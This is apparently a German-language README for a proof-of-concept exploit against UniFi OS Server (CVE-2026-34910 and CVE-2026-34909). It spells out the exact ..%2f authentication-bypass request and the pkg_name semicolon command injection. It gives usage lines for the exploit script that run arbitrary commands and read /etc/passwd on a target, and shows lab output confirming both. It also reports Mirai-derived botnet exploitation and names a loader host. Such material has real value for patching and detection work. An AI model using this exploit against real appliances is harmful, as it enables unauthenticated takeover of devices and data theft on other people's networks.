
CVE-2026-34910/34909 — UniFi OS: Unauthentifizierte RCE + Dateilesen über ..%2f-Authentifizierungs-Bypass (CVSS 10.0, KEV, Mirai ITW)
Unauthentifizierte Command Injection RCE (CVE-2026-34910) + Path Traversal
Arbitrary File Read (CVE-2026-34909) in UniFi OS Server.
CVSS 10.0 (Kritisch) jeweils · In der CISA KEV-Liste aufgeführt · aktiv ausgenutzt durch einen
von Mirai abgeleiteten Botnet (azsxd-Implantat).
Ubiquiti UniFi OS enthält ein nginx-Auth-Gateway, das jede Anfrage, deren
RAW URI mit /api/auth/validate-sso/ beginnt, als öffentlich behandelt, aber nach der
NORMALISIERTEN URI routet (dekodiert %2f → / und kollabiert ../). Durch das Kodieren eines
Traversal divergieren die beiden:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ erreicht den internen Paket-Update-Handler, der pkg_name an
/bin/sh -c übergibt → nicht authentifizierte RCE in einer einzigen Anfrage.
Dieselbe Primitive gegen /app-assets/... liest Dateien von der Festplatte
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
Die RCE-Payload injiziert ein Semikolon in den internen Shell-Befehl
sudo systemctl stop <pkg_name> des Handlers: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — der injizierte Befehl wird auf dem Host
als Benutzer ucs-update ausgeführt.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ VOLLSTÄNDIG VERIFIZIERT — RCE gegen echtes UniFi OS Server 5.0.6 bestätigt (verwundbar, Setup abgeschlossen) im Betrieb in Docker (hieutq/unifi-os-server:5.0.6-amd64):
..%2f-Auth-Bypass erreicht den internenlatest_package-Handler (Antwort:CODE_SYSTEM_ERROR/ "pkg_name required" — kein nginx 400).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueerzeugte die Datei auf dem Ziel (-rw-r--r-- ucs-update) → Command Injection → RCE bestätigt.- Gegen das gepatchte UniFi OS 5.1.21 liefert dieselbe Anfrage HTTP 400 (nginx weist die Divergenz zwischen Raw-URI und normalisierter URI zurück), was ein sauberes Negativergebnis bestätigt.
Das Setup wurde über den echten Web-Wizard abgeschlossen (Gerätename → Anmeldedaten → Konsolenpasswort → Abschluss), sodass das Lab einer produktiv installierten Appliance entspricht.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | Schweregrad | Betroffen | Behoben |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Kritisch | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Kritisch | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Kritisch | UniFi OS Server (pre-SAB-064) | SAB-064 |
Ein von Mirai/Gafgyt abgeleitetes Botnet (azsxd v2.0 Implant) verkettet den Auth-Bypass +
Command Injection zu unauth RCE — ein Multi-Arch-Loader wird von
185.228.26.16 bereitgestellt. Siehe den pwndefend-Artikel.
Nur für autorisierte Sicherheitstests und Bildungszwecke.